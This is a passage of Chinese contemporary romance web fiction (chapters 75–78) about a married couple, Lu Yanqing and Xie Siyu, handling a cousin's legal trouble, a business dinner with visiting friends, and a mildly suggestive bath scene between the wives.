陆言卿挑眉笑笑,撑着手肘坐起身来,捞过谢思虞的腰把人抱在怀里,另一只手去够茶几上的平板。 接听视频的同时,低头在谢思虞唇上重重地吮吸了一口。 “雁表姐说想会会你家陆总。” 视频那头温月怡穿着真丝v领睡裙,坐靠在床头,低垂着头不知道看什么,“对了,月晗姐改签了机票,说是……” 抬眸看到什么,嘴里的话戛然而止。 自从陆言卿“回国”后,她极少跟谢思虞视频,连打电话都很少,实在有重要的事都是发信息。 她是谢思虞的闺蜜。 但为了躲陆言卿,她们联系也要偷偷摸摸的,搞得她像小三似的。 别提多委屈了。 她对陆言卿肯定是有怨气的! 但她是谢思虞喜欢多年的人,她们好不容易相互倾心,她总不能拖闺蜜后腿。 只能忍。 “陆言卿你心眼儿是不是比针眼儿还小?” 视频那头好闺蜜被陆言卿搂抱在怀里,眼尾潮红靡丽,唇瓣微微张着,好像被暴风雨蹂躏碾过的花瓣似的,明显一副被“欺负”过的模样。 温月怡无语地翻了翻白眼,把腿上的珠宝杂志扔到床下,目光落在谢思虞身上,颇有种恨铁不成钢的意味:“小鱼,你又把我的话当耳旁风!” 一看就是被陆言卿吃的死死的,啊——真是要气死她了。 “阿虞,温小姐似乎不喜欢我?” 这茶味也太浓了。 温月怡一瞬不瞬盯着陆言卿,私家侦探交给她的资料上面好像没写,陆氏集团大小姐还是个“绿茶”? 谢思虞耳尖绯红,锁骨处的伤疤被陆言卿指腹不轻不重磨挲,痒得不行,强忍着没轻哼出声,拿过她手里的平板:“月怡,姜总如果来榕城我们肯定欢迎,至于其他事明天再说好不好?” “我先挂了,再见。” 视频突然被挂断。 温月怡一脸问号,月晗姐后天要去榕城的事她还没说,忽然反应过来什么,抓起旁边的枕头抡了几拳。 【月晗姐,我支持你,去榕城把小鱼抢回来!!!】 【陆言卿她不配——】 退一万步说,三年前陆谢两家的联姻,小鱼是用了些不光彩的手段,可她陆言卿凭什么和小鱼领证第二天就出国。 一走就是三年,音信全无,留下小鱼独自承受外界的流言蜚语。 既然不愿意,当初为什么答应联姻? 反正在温月怡看来,陆言卿就配不上谢思虞。 话说回来。 谢思虞挂断视频,回头见陆言卿似笑非笑注视着她,没忍住捏了捏对方的脸颊:“月怡说的没错,我的卿卿就是个醋缸子。” 陆言卿:“……” 她不是,就算是也不承认。 伸手去抓谢思虞的手腕,却被她躲开,“姜总那边我来对接,卿卿既然说了要靠老婆,可不能让你失望。” 妻子的身影消失在客厅,陆言卿眼底目光又软了几分,弯腰将洒落地毯的靠枕捡起来,拿起玻璃杯朝着厨房走去。 陆言昭这次惹出的祸事,让阿虞处理也好。 二叔向来看不惯阿虞,这次承了她的人情,总要收敛,哪怕背地里不满,面上也要“恭恭敬敬”。 可陆言卿却低估了人性。 次日,祖母要去医院看望陆言昭,老人家的腿刚拆石膏不久,走路倒是没问题,她主要怕某人说话难听,又刺激到老人家,于是跟着一起去。 谁知道在病房门口就听到陆言昭大放厥词:“妈也太傻了,居然相信姓谢的会帮我,这三年来我给她使过多少绊子,她估计恨死我了,怎么可能真心帮忙?怕不是嘴上说说。” 陆弘毅坐在床边的椅子上,他被妻子念叨数落了一晚上,来医院可算耳根子清净了。 瞥了眼儿子右腿上的石膏,板着脸道:“你让你妈操心就是不对,出发去N市前我就叮嘱过你,遇事要沉着应付,合作就算谈不拢也没事,你说说你,现在闹成什么样了!” 陆言昭讪讪地摸了摸鼻子,诡辩:“我没忘记您的叮嘱,是姜雁太目中无人了,商场上用点手段怎么了,她竟然报警抓我!” 他从小到大不是没惹过事,却从过进过派出所。 这事传出去,他还要不要在榕城混了? 瞧着父亲动怒。 大概率也不是他惹事,而是他受伤令母亲担惊受怕。 是的,他父亲有野心,对他也算严格,但在母亲面前却心甘情愿“低头”。 父母当初会结婚,压根儿和门当户对不沾边,父亲对母亲真的有感情。 其实在他看来,母亲眼界低,嘴巴碎,唯一的优点就是实诚,善良没心眼儿。 或许父亲就是喜欢那样的母亲,才会偏爱她。 感情这种事,谁能说的准呢。 “既然谢思虞要插手,那我们就静观其变,如果她顺利说服姜总撤诉,自然最好,如果不能,那我就在你祖父跟前……” “啪”的一声。 虚掩的病房门被推开。 陆弘毅蹙眉看向门口,走廊上的人不是他侄女还能是谁? 顿时冷了脸色:“言卿你的教养呢?” 陆言昭正在啃苹果,明明是他们父子在说谢思虞坏话,却没有丝毫被“当事人”听到的羞耻感,反而趾高气扬:“陆言卿你有病?跑到我这里来发疯?” 陆言卿气笑了,手中的链条包用力砸向陆言昭的肚子,没有意外,下一秒就听到他杀猪一般的尖叫声。 “陆言卿,你特么——”要死啊。 陆言昭吃痛捂着肚子,她差点就砸到他打石膏的腿上了! 举起手中的苹果就要砸向她,却看到门外还有一人。 最终还是放下手,把苹果扔在床头柜上,不情不愿喊了声:“奶奶。” “妈,您来医院怎么不跟我说?我好下楼接您啊。” 陆弘毅正要呵斥陆言卿,这时也看到门口的母亲,急忙起身迎上去。 老太太瞪了眼儿子,又转头看向病床上的孙子:“我看你真是活该,被人打断腿还不知道收敛,思虞愿意帮你,你还在背地里恶意中伤她。” 说完用力拍了下儿子的手背,“还有你!一点做长辈的样子都没有。” 陆言卿双手抱胸倚着门框,目光深邃且清冷,不紧不慢道:“我们愿意插手,是看在二婶的面子上,既然二叔瞧不上阿虞,这件事你们自己处理。” 陆弘毅闻言绷紧了腰背,还未说话再次被陆言卿轻描淡写的声音打断。 “跟踪,砸豪车,买热搜诋毁诽谤,甚至还破坏了姜总车里未公开的秋冬高定样衣。” 陆言卿挑眉看向病床上因为她的话而僵住身体的陆言昭,哂笑:“陆言昭,你自求多福。” 第76章 谁让小鱼喜欢的人是陆言卿呢? 华康私立医院。 门诊6楼602VIP病房, 屋内气氛异常凝重。 李律师不止一次去扶鼻梁上方的眼镜,他也是倒霉,接手了这样烫手山芋的案子, 压着情绪恭恭敬敬说话。 “陆先生,样衣属于未公开的商业机密,如果姜女士控告你故意损毁, 导致品牌商业利益受损,那么你很可能要……处三年以下的有期徒刑。” 陆言昭一张脸涨得通红, 他当然知道事情的严重性,当时砸车就是被愤怒冲昏了头脑。 他哪里知道那车内有未公开的样衣! 抓起床头柜上的玻璃杯就砸向墙壁,指着打石膏的右腿:“她姜雁打断我的腿就没有一点责任?” 李律师擦了擦额头的汗水, 欲言又止:“姜女士让保镖打断您的腿, 属私力救济过当,但, 但您毕竟有过错在先。” 司法实践中会减轻姜雁的防卫过当责任。 若姜雁方持完整证据链起诉,陆言昭面临刑事附带民事诉讼的概率极高。 哪怕他是榕城“战无败绩”的律师,在大量事实证据面前,他也无能为力。 除非他有通天的本事。 可惜他就是个普通人。 “滚出去——” 陆言昭气急败坏,砸枕头的动作幅度太大,牵扯到右腿,顿时疼的他倒吸一口凉气。 漆黑的眼眸里迸发出森冷的戾气。 陆言卿分明就是落井下石! 还有姓谢那个不要脸的女人。 李律师逃似的跑出病房, 再待下去他估计要破口大骂,什么狗逼豪门少爷, 脾气臭不说, 还砸东西。 呼呼—— 站在电梯口等电梯, 他做着深呼吸,算了, 没必要跟钱过不去。 谁让陆言昭给的多呢,他被他骂几句无伤大雅。 十几分钟后。 陆弘毅重新回到病房,他刚送母亲回老宅,父亲知道这件事后直接把他轰了出来,没指着他鼻子骂就是轻的了。 回医院的路上接到助理打来电话,原来谢思虞和姜雁的表妹是好朋友,儿子这次惹出的祸事,谢思虞真的能解决。 可他们却——弄巧成拙了。 “爸,您有认识的朋友能帮忙吗?” 姜雁那个女人心肠歹毒,肯定不会轻易放过他,陆言昭烦躁地抓了抓头发,他才不要去坐牢。 陆弘毅一时懊悔,谁能想到他跟儿子发几句牢骚,刚好被陆言卿和母亲听见。 医院什么VIP病房,一点私密性都没有! “榕城能有几人跟N市的姜雁关系熟稔?” 陆弘毅眉头紧蹙,归根结底还不是儿子冲动下惹出的祸事? 儿子出发前他就叮嘱过,跟【桦悦】的合作谈不拢就算了,老爷子在位时都没能搞定的事,他也不必勉强。 偏偏把事情搞成这样。 如今说什么都晚了。 “那怎么办?” 陆言昭脸色肉眼可见的速度阴沉下去,用力攥紧身上的被子,窝火憋气道,“难不成真的让我去求谢思虞?” 陆弘毅扯了扯领口的领带,同样烦躁至极,冷眸看向儿子:“再等两天,这件事先别告诉你妈。” 临近中午,陈雅拎着两个保温桶走进病房,迷茫的目光在丈夫和儿子身上来回流转:“什么事要瞒着我?” 陆言昭不耐烦地抿了抿唇:“您又不懂,就别问了。” 陆弘毅瞪着儿子:“怎么跟你妈说话的!” 说完迎上去接过妻子手中的保温桶。 陆言昭悻悻然耸肩,心里烦的很,靠着床头不再说话。 “你来说。” 陈雅拧开保温桶,将里面的鸡汤倒进碗里,医生嘱咐这几天儿子的饮食一定要清淡,她特意炖煮的鸡汤,只是放了些补气血的药材。 陆弘毅不习惯在妻子跟前撒谎,只能简单解释上午在病房发生的事情:“事情就是这么个事情,你别急,我……” 陈雅一听哪里还能不急,手里的碗重重地砸落在实木桌面上,碗里的鸡汤溅出,溅落在她手指上。 幸好鸡汤不算太烫,否则皮肤都要烫出泡。 陆弘毅急忙扯了纸巾给妻子擦手,却被她躲开,“啪”的一声,他手背被妻子打了下,瞬间火辣辣的痛。 “你们父子是有什么毛病吧!” 陈雅平时不怎么生气,眼下气的胸口疼,她抛下脸面去公寓求侄女,好不容易说服她出手帮助,他们父子倒好,竟然在背地里说人家坏话。 “陆言昭你是不是想去坐牢!啊,我问你话,你是不是想去坐牢——” 陆言昭被母亲扯手臂,当着父亲的面又不能发脾气,心烦扯过被子盖住头,怏怏不乐吐出一句话:“没有,我又不知道她在病房门口。” 陈雅:“……” 所以言卿不在,他就能乱说话了? 陆弘毅想要安抚妻子,走近后看到她瞬间红了的眼眶,心里不是滋味,抓着她的手往病房外走:“你别担心,我会想办法的,肯定不让儿子去坐牢。” 陈雅挣脱丈夫的桎梏,拳头宛若雨点往他身上砸,嗓音带着哭腔:“你就没有责任吗?言卿都说了思虞认识姜总,棘手的事情能解决,我们顶多赔款,现在倒好,让你宝贝儿子去坐牢吧!” 陆弘毅当然知道妻子在说气话,站在原地任由她打,等她情绪平复一些,才开口:“事情不是没有转机,你别着急,注意身体,大不了我亲自去求言卿。” 最多就是付出点代价。 可陆弘毅万万没想到,这“代价”有点太大了- 两日后。 晚上7点,君悦酒店。 【桦悦】总经理姜雁抵达榕城,一来是因为工作,二来是想要会会陆言卿。 陆言昭在N市那般“招惹”姜雁,闹出不愉快的事情,于情于理,陆言卿和谢思虞都应该邀请对方吃饭。 酒店3楼名为「相见欢」的包间。 谢思虞推开包间的门,就被屋内冲过来的身影抱了满怀,馥郁的铃兰花香盈满鼻端:“小鱼小鱼,我好想你啊,见到我惊不惊喜?意不意外?” 熟悉的声音萦绕在耳畔,谢思虞眼底露出温柔的笑意来,温月怡竟然也来榕城了,此前她在微信上并未提及,自然是惊喜的。 刚要说什么,身后的人轻咳两声,谢思虞轻轻拍了拍温月怡的肩膀,从她怀里退出来,嗓音轻柔:“很惊喜,你跟姜总一起过来的?” 温月怡自然也听到陆言卿的咳嗽了,不满的抿了抿唇,挑眉看向门口的人。 今天陆言卿穿的是无袖黑色连衣裙,腰上和裙摆处有暗线刺绣点缀,长腿细腰,肤色白皙,那张脸五官精致。 不带任何偏见,她确实很漂亮。 但她的小鱼也很美啊~ “陆总要是生病就吃药。” 温月怡用余光瞥了眼陆言卿,亲昵挽着谢思虞的胳膊往屋里走,“不仅我和雁表姐过来了,月晗姐也跟着一起哦~” 君悦酒店3楼的包间都是套间,不仅有大型餐桌,还有提供顾客喝茶聊天的场所。 梨花木茶台前,温月晗一身复古旗袍,长发盘起,有少许发丝垂在右侧,她正在泡茶,举手投足间皆是豪门大家闺秀才有的端庄优雅。 “思虞,好久不见。” “温小姐,好久不见。” 谢思虞对温月晗微微颔首,露出落落大方的微笑,牵着陆言卿的手,温柔介绍:“卿卿,这位是温月晗温小姐,是月怡的堂姐。” 陆言卿不动声色紧扣妻子的手,笑着点点头算打招呼,眼波深处有很浅的水光荡漾了下。 那天温月怡在微信说温月晗要来榕城追阿虞,她就找人调查了温家大房的这位小姐。 如果不是六年前温月晗的父亲发生车祸去世,如今的温家,也轮不到温月怡的父亲当家作主。 温月晗不似温月怡张扬,她向来低调,平时为人处事不显山不露水,却令人挑不出毛病。 N市不少有底蕴家族的家长,都串掇自家孩子“追求”温月晗,偏偏她这些年都孑然一身,拒绝了不知多少人。 “陆总和谢小姐已经到了吗?” 姜雁去外面接听工作电话回来,让堂妹招呼谢思虞,而她则邀请陆言卿去屏风后面的餐桌落座。 “陆总,我们聊聊?” 陆言卿自是不会拒绝:“姜总,您先请。” 包里手机响起提示音,拿出来解锁看到钟晚意的信息:别催,已经到了,3楼「相见欢」是吧,保证帮你把老婆看牢了。 “小鱼,你快跟我说说,那天到底发生什么事了?” 温月怡拉着谢思虞来到窗前,有意无意避开了堂姐温月晗,凑到她耳边小声询问。 【我和卿卿可能要离婚了,我好难过。】 谢思虞没错过温月怡眼底的担忧,心里暖暖的,压低声音解释:“原本就是我的错,是我欺骗了她,卿卿知道真相后,是有些生气的,却没想过要跟我离婚。” 是她太敏感了。 几分钟后。 温月怡拍了拍谢思虞的手背,了解事情大概后,对陆言卿的态度有所改变:“算她有眼光。” 谢思虞唇边牵起温柔笑意:“卿卿本就是很好的人,是她教会我恋人之间要勇敢沟通,最忌讳便是独自一人胡思乱想。” 这话倒是没毛病。 温月怡表示认同,抬眸撞进堂姐温温柔柔的目光中,有片刻的心虚。 原本她想的是,如果陆言卿“配不上”她的小鱼,那她就全力支持堂姐“抢人”。 然而如今……只能对不起堂姐了。 谁让小鱼喜欢的人是陆言卿呢? 第77章 让你明天下不来床 钟晚意收到陆言卿的微信, 就火急火燎赶往君悦酒店,路上险些闯了红灯,虽然没有见过N市温家的姐妹, “道听途说”也知晓她们不是简单的角色。 谢思虞竟然和她们相熟,也难怪能在三年内带领陆氏集团更上一层楼。 “薇薇怎么在这里?” 在一楼电梯间等电梯时,忽然看到熟悉的身影, 即便对方戴着口罩,钟晚意还是一眼就认出来。 眼底浮现出疑惑。 这个时候宋薇不应该在B市影城拍戏吗? 怎么会在君悦酒店? 下意识攥紧了包包的带子, 强迫自己收回视线,她已经在微信上和宋薇说清楚了,并且删除了对方的好友, 就不便再去打扰她的生活。 “叮”的一声。 电梯抵达一楼, 门缓缓打开。 钟晚意闭了闭眼,深呼吸几次迈开脚步走进电梯。 然而就在门要合上的瞬间, 钟晚意伸出手阻止了电梯关闭,大步流星冲了出来,挣扎半晌,终究还是没能忍住。 因为她停车的时候,看到路边有狗仔蹲守。 【卿卿,借下你司机。】 钟晚意不确定那辆面包车内的狗仔是不是要偷拍宋薇,而她也不方便出面。 三分钟后。 宾利车驾驶座的刘燕收到陆言卿的指示, 迅速和钟晚意联系,又急忙赶往现场, 将跟踪偷拍宋薇的两名男子拦下来。 并用“武力”胁迫对方删除了手机和相机里的照片。 两名戴鸭舌帽的男人被突然出现的女人吓得不轻, 跑都来不及跑, 就被对方从后面踢中膝窝,随即一个踉跄跪爬在地上。 “云端的照片也删掉。” 刘燕和哥哥之前也给艺人当过一段时间的保镖, 对狗仔们的处事再熟悉不过,他们拍摄的照片会直接备份到云端,就是避免遇到当下这种状况。 两名男子相互对视一眼,知道遇到硬茬,也怕引起酒店安保人员的注意,只能自认倒霉。 当着刘燕的面登陆云盘,把刚偷拍宋薇的照片删除。 不远处。 一辆黑色大众保姆车,后排坐着的宋薇将这一幕看在眼里,又往酒店正门口方向看了眼,好似要透过无数车辆看清那人。 几息后,她垂下眼睑,叫人瞧不出眼底的神色。 “走吧。” 前排司机听到吩咐,启动引擎驱车驶离酒店。 旁边的何雪看出宋薇情绪不对,犹豫片刻还是开口询问:“刚拦下狗仔的人你是不是认识?” 她和宋薇是高中同学,今晚她和《零点心焰》剧组的制片人在君悦酒店吃饭,特意把宋薇叫过来,目的就是要把她介绍给制片人。 高考成绩不理想,再加上家里原因,这些年她一边工作,一边在网上写小说,前三年成绩都不理想,直到她写了本校园题材的小说,大概是男女主人设出彩,故事内容真实不浮夸,完结后成绩远超预期。 网站编辑找到她,表示《零点心焰》可以出版,得知这个消息后她震惊又兴奋。 辞去工作专心写小说,可她把事情想的太简单了,之后的三本都扑了。 找编辑聊了聊,她决心沉淀下来,多学习,多看书。 这两年她每写一本,成绩都很好,出版,影视改编,对她来说也不再是遥不可及的梦,在网站也算小有名气。 半年前有影视公司找到她,想要买下《零点心焰》的影视版权,写过20多本作品,这个故事对她来说意义非凡。 可以改编成电视剧,唯一的要求就是她要担任剧组的编剧,如果可以,她还想自己挑选女主角。 而宋薇就是她选中的女主。 其实某种意义上来说,她写这本小说最初,女主就是以宋薇为原型构思的。 “是粉丝……朋友。” 宋薇放在腿上的手攥成了拳头,开口嗓音哑的不成样子,她从另一侧的电梯间出来,刚好看到钟晚意风风火火跑进酒店。 估计是有紧急的事情,她穿高跟鞋也跑的很快。 自从钟晚意删除她的微信,她们有一个月没有联系了,粉丝后援会那边也没有出现她的身影。 何雪不明所以:“粉丝就是粉丝,朋友就是朋友,怎么搞的这么复杂?” 算了,这是宋薇的私事,她也不好多说。 不着痕迹转移话题,“试镜时间就在3天后,你回家好好考虑。” 何雪撩了撩耳边的碎发,由衷开口:“我很希望你能来。” 宋薇轻轻点头:“我明早回复你。” 原本她应该在B市拍摄《棠烬如血》,这部古装电视剧也是小说改编,她在其中出演女二号,是个表面温顺柔弱的公主,实则冷漠狠戾。 这个角色对她而言充满了挑战。 但她十分喜欢。 可因为最近饰演该电视剧的女主出事,拍摄也停滞不前,她便回榕城了。 不曾想高中同学何雪找到她。 也是在饭桌上,她才知晓何雪是网络大神作家。 名下有好几本优秀小说影视化,其中就有她耳熟能详的。 “好。” 何雪找宋薇也是出于私人感情,至于她能不能试镜成功,这不是她能决定的。 “无论如何,都要谢谢你。” 宋薇整理好低落的情绪,脸上露出真心实意的笑容来。 另一边,钟晚意也推开了「相见欢」包间的门。 屏风后面的餐桌。 陆言卿和姜雁聊的很投缘,但也不能跟商业合作混为一谈,她端起茶杯浅浅抿了口里面的铁观音,眼底神色波澜不惊:“姜总,以上就是我能给【桦悦】最好的诚意。” 【桦悦】和明奇有长达5年的合作,突然让人家入驻双栖云境,她们能给的“资源”,想必明奇也能给,所以陆言卿对此不抱有太大的希望。 双方能合作,自然是最好。 不能合作,也无伤大雅。 姜雁笑而不语,反倒说起另外一件事:“我让保镖打断陆先生一条腿,陆总对我就没有怨言?” 陆言卿闻言扯了扯唇角,指尖轻轻磨挲茶杯杯壁,好整以暇看向姜雁:“姜总还是心太软,换做是我,另外一条腿也给他打断。” 姜雁微愣,随即轻笑出声。 端起茶杯碰了碰陆言卿的杯子,仰头将里面的茶水一饮而尽。 随着她仰头的动作,流苏耳垂在空中晃出涟漪。 “陆总,那祝我们合作愉快。” 这次换陆言卿不理解了,她给出的诚意,相比明奇并没有任何优势,姜雁为什么要跟陆氏合作? 沉思几秒,她压低声音问:“姜总可是因为阿虞?” 姜雁挑眉看向右侧的屏风,包间里六扇折叠屏风选用浅褐色的榉木作框架,每扇屏面上绘着淡墨山水画。 另一侧是几个姑娘在聊天,谢思虞音色偏柔软,其实她对她不甚了解,所有事都是从表妹那里得知。 片刻便收回视线:“不全是因为谢小姐,我很欣赏陆总的为人。” 关于明奇更换了继承人,要增加【桦悦】的租赁费用,这些事她就没必要跟陆言卿坦白了。 “姜总,合作愉快。” 陆言卿摁灭手机屏幕,面上依然风轻云淡,微信上魏洁发来了明奇继承人变动的消息,如果说之前不清楚,现在她也猜到些许原因。 没有更改合同上的条款。 要想长期合作,总要拿出足够的诚意来。 今晚聚餐陆言卿没想过会谈成合作,自然没有带合同:“明天我在集团等姜总,相关细节我们再详聊。” 姜雁:“可以。” 公事聊完,陆言卿吩咐酒店工作人员上菜,十几分钟后,大家围坐在圆形餐桌前。 钟晚意负责活跃气氛,一顿饭下来,她对温家两姐妹也有了初步认识,温月怡外向,性格直爽不做作,温月晗内敛沉稳,话比较少,但一开口总能说到对方心坎上。 “月晗姐,你们来榕城待几天?明天我带你们去西山公园玩。” 晚餐结束,临近分别时。 钟晚意成功添加了温月怡和温月晗的微信,要问她为什么询问姐姐,而不是妹妹。 一来是因为闺蜜的“嘱托”,二来是因为温月怡干什么都要拉着谢思虞。 温月晗闻言看了眼姜雁,才温柔开口:“谢谢你,我们等雁表姐处理好工作就离开,明天……就辛苦晚意给我们当向导了。” 钟晚意笑笑:“不辛苦,不辛苦。” 一行人进入电梯。 温月怡和谢思虞站在最里面,她委屈巴巴地问:“小鱼,明天你要跟我们一起吗?” 闺蜜难得来榕城。 作为东道主她自然应该陪同,但谢思虞担心妻子会介意,想了想措辞才说:“明天我可能……” “明天给阿虞放假。” 陆言卿温声打断谢思虞的话,她介意归介意,也不会在这种时候“为难”枕边人。 况且还有钟晚意在呢。 温月怡盯着陆言卿看了会儿,若有所思,电梯抵达一楼,等大家陆陆续续离开,她拉着谢思虞走在最后,小声嘀咕:“她不会临时反悔吧?” 谢思虞哭笑不得:“卿卿不是那样的人。” 温月怡眨眨眼睛,总觉得陆言卿口不对心,凑到谢思虞耳边:“她这么好说话,别是今晚回去狠狠欺负你,让你明天下不来床,这样你也没法跟我们出去玩。” 谢思虞:“……” 瞬间耳尖变得绯红。 她真的要谢了- 晚上10点。 刘燕开车送陆言卿和谢思虞回江海澜苑,关于钟晚意找她做的事情,她长话短说:“陆总,钟小姐只是让我拦下两名狗仔,并让他们删除了晚上偷拍的照片。” “好,今天辛苦你,回去休息吧。” 宾利车后排,陆言卿接过刘燕递过来的车钥匙,关于钟晚意的“异常”举动,那位被偷拍的艺人想来是宋薇。 否则好友不会多管闲事。 谢思虞听完刘燕的话,也第一时间反应过来,宋薇正在拍摄的《棠烬如血》被搁置,根据目前掌握的证据来看。 剧组迟早要更换女主。 “阿虞先等等。” 陆言卿眼疾手快抓住谢思虞的手腕,没让她下车,稍稍用力把人捞回怀里,“刚刚温月怡跟阿虞说了什么?你的脸好红。” 轰的一声。 宛如有闷雷在脑海中炸开,谢思虞没想到陆言卿会提起这件事,澄净的眼中满是难为情,支支吾吾:“没什么……” 她哪里敢说,生硬的转移话题,“卿卿,我们上楼吧。” 陆言卿单手搂着谢思虞,今晚和姜雁达成合作意向,她敬了对方一杯白酒。 回来路上吹了会儿凉风,不至于醉,只是很久没喝度数高的白酒,有点难受。 “不着急。” 陆言卿掌心贴着谢思虞腰侧的衬衫,另一只手指尖轻轻摩挲她的腕骨。 停车位旁边有路灯,光亮透过天窗漏进来,在谢思虞通红的耳尖上投下暖黄光晕。 谢思虞太熟悉陆言卿这般撩人心弦的模样,知道逃不过,乖乖坦白:“她说卿卿是不是打算今晚让我……” 下不来床四个字她真的没脸说。 谢思虞羞赧地别开脸,锁骨随着吞咽动作起伏,最后在陆言卿要碰不碰的亲吻中束手就擒。 下一秒,时间仿佛停滞。 陆言卿脑袋埋在谢思虞肩头,没忍住轻笑出声,白酒醇香裹着山茶花的气息尽数扑在对方颈侧。 “我没有这样想,真的没有,不过温月怡的提议倒是很好,我今晚就让阿虞——下不来床?” 谢思虞羞得面红耳赤,双手紧紧揪着陆言卿身上的裙子,心更是不听话地狂跳起来。 “要不我们试试在车里?” 陆言卿低头去找谢思虞的唇,并托着她后脑勺压向自己,彼此唇瓣相贴时又含糊道,“阿虞不要害羞。” 胆子可以大一点。 “卿卿,外面有人……” 谢思虞脸皮薄,躲开了陆言卿的亲吻,在家里让她怎样配合都行,可在外面,哪怕车窗贴有防窥膜,她也没办法接受。 “傻不傻。” 陆言卿莹白指尖捏了捏谢思虞微红的耳尖,明知道她害羞,又怎会在车里就要她? 很快两人回到公寓。 陆言卿在车里也就是随便说说,她身上带着淡淡的酒味,玄关换鞋,推开卧室的门就直奔浴室。 花洒打开。 她脱了衣服只裹着浴巾站在下面洗头,等头发全部被水浸湿,这才挤了洗发水在手里,均匀涂抹在头上。 啪嗒! 突然响起浴室门把手扭动的声音,陆言卿以为自己听错了,并没有在意,继续低埋着头,用指尖按摩头部肌肤,直到有人站到她面前。 “我来帮卿卿。” 谢思虞不止一次和陆言卿一起洗澡,却是第一次在对方没有“要求”的情况下,主动在她洗澡时走进浴室。 花洒淅沥沥的水声戛然而止。 因为陆言卿关掉了淋浴的开关,她拢了拢头发,笑着问:“阿虞进来只是想帮我洗头发?” 刻意咬重“只是”两个字。 谢思虞脸颊泛起淡淡的红晕,也不知道是被水汽蒸得发烫,还是因为害羞。 假装没有听出陆言卿话里的揶揄,拉着她坐进浴缸里,并打开了浴缸水龙头的开关,而她则拿过旁边的软凳坐下。 很快,陆言卿仰面枕在谢思虞大腿上,她的墨色湿发和她的瓷白肌肤形成鲜明的对比。 一黑一白,透着说不清道不明的极致暧昧。 “闭眼。” 谢思虞屈指清理陆言卿额头靠近眼睛的泡沫。 “不要,我想看着阿虞。” 陆言卿非但没闭眼,反而就着这个姿势抬手去勾谢思虞肩上的睡裙吊带,故意用沾了泡沫的指尖在她肩头画圈。 浴缸的水还在继续放。 “泡沫进眼睛别喊疼。” 谢思虞板着脸挤更多洗发露,但落在陆言卿头上的力道却很轻,浓郁的橙花香混着热蒸汽直往鼻腔里钻。 陆言卿忽然攥住谢思虞的手腕往水下带,看到她身上的睡裙被水浸湿,眼底露出狡黠的笑意来。 “泡沫真要进了我的眼睛,阿虞不知道该有多心疼。” 沾水的手指捏了捏谢思虞的脸,陆言卿满眼笑意,站起身重新来到花洒下方。 快速将头上的泡沫冲洗干净,走到洗手台前,从镜柜里拿了鲨鱼夹把长发盘起固定。 解开身上的浴巾迈进浴缸,谢思虞羞得不敢去看陆言卿姣好玲珑的身-躯。 不着痕迹转身背对着她,长睫上下扑扇,莫名感觉浴缸的水温变得灼人起来。 陆言卿蹲下身的同时浴缸里的水哗啦啦往外溢出,湿漉漉的双臂从后面环住谢思虞的腰肢。 下巴轻轻落在她的肩头,好似也落在对方的心尖上。 蒸腾的水雾里,陆言卿隔着一层薄薄的睡裙在谢思虞腰窝打转,故意在她耳侧敏-感的位置呼气:“我都放过阿虞了,你还主动来招惹,阿虞说实话,是不是想要了?” 调皮的手指钻进妻子睡裙下-方,在她大-腿内-侧跳舞,“阿虞说话,想要吗?” 谢思虞心跳如鼓,脸和脖子都红了,她虽然穿着睡裙,但薄的跟没-穿一样,陆言卿从后面抱着她,她们彼此的身-躯严丝合缝贴在一起。 除了对方胸-前柔软的饱满,她甚至能感受到她欢愉的心跳。 “要,我想要,卿卿满意你听到的吗?” 扛不住陆言卿“甜蜜的折磨”,谢思虞转过身来,两人面对面坐着,不想再从某人嘴里听到羞人答答的话语。 捧着她的脸,主动把唇覆上。 陆言卿闭上眼睛,后背靠着浴缸壁,抱紧怀里的人,加深了这个吻。 浴室水汽蒸腾,时不时能听到谢思虞娇-羞的轻哼声。 夜晚很长,也处处透着粉色泡泡。 陆言卿终究没舍得让妻子累得下不来床,并且特别大方给她放假三天,让她好好陪朋友游玩榕城的著名景点。 上午10点。 钟晚意先是开车去酒店接温家两姐妹,再绕路去江海澜苑接谢思虞。 谢家谢知瑶和周静已经出国,谢明远忙着解决公司的财务危机,没工夫背地里搞小动作,陆言卿还是安排刘燕白天跟着,况且今天还有温家姐妹在场,不怕一万,就怕万一。 “天气预报显示今天最高温度30度,你捂这么严实做什么?” 黑色越野大奔车上,还是钟晚意开车,温月晗有点晕车,所以换到前排副驾驶坐着。 谢思虞原本想坐刘燕开的车,却抵不住温月怡的热情,谁知道刚坐进车内,就被好闺蜜用火眼金睛打量。 “哪里严实了?” 谢思虞下意识反驳,她穿着小香风蕾丝半高领黑色A字裙,袖子和领口是蕾丝设计。 温婉又大方。 因为今天要陪大家出去玩,昨晚叮嘱了陆言卿好几次,不许在她身上留下吻痕。 “哈哈,我胡说八道的。” 温月怡不是没有谈过对象,看谢思虞举手间透着妩媚的风情,就知道昨晚她被陆言卿滋润的不错。 倒也没有揪着这个问题不放,从托特包里拿出两个红色珠宝袋,递给谢思虞。 “这是我上个月在珠宝拍卖会拍的手链,里面有两条,是情侣款,别急着拒绝,算是我补给你的结婚礼物。” 三年前谢思虞和陆言卿结婚,她们属于商业联姻,连婚礼都没有举办,再加上她不看好陆言卿,也就没有送谢思虞新婚礼物。 这次过来榕城,虽然带着礼物,也是持怀疑态度。 哪怕和陆言卿只在昨晚见过一面,很多事心里也有了答案。 深思熟虑后打算把礼物给谢思虞。 “谢谢月怡。” 谢思虞微怔两秒,回过神来双手接过温月怡递过来的珠宝袋,千言万语终化成两个字,想到过往种种,鼻尖隐隐泛酸。 温月怡不喜欢温情的场面,把头扭向一边:“小鱼你可别哭,不然陆总要对我有意见了。” 前排驾驶座钟晚意适时开口:“卿卿要是知道月怡送了她们妻妻二人结婚礼物,高兴都来不及呢。” 温月晗脸上也挂着温柔的浅笑,回头对谢思虞说:“月怡亲眼看到你和陆总感情深厚,她便能放心了。” 我也能放心。 当年她们“帮”谢思虞嫁给陆言卿,导致她“独守空房”一千多个日夜。 很多时候她都在反思,到底有没有弄巧成拙。 幸好。 谢思虞终归是收获了幸福。 第78章 卿卿刚为我出气 上午10:30分。 陆氏集团, 总裁办。 陆言卿和姜雁敲定相关合作的细节,【桦悦】女装进驻双栖云境商场,暂时签订了两年的合作。 等把姜雁送走后, 她就给祖父打电话,把这个好消息告诉他,结果他们没聊几分钟, 魏洁就敲响办公室的门:“陆总,陆董和陆副总监在门口, 他们说有重要的事找您。” “让他们进来。” 陆言卿双腿随意交叠着,懒洋洋靠着座椅靠背,对听筒那头的祖父说, “您老要是没事也在旁边听着, 别回头又说我欺负人。” 说着就把手机屏幕反扣在桌面上。 陆言昭右腿打着石膏,他坐在轮椅上, 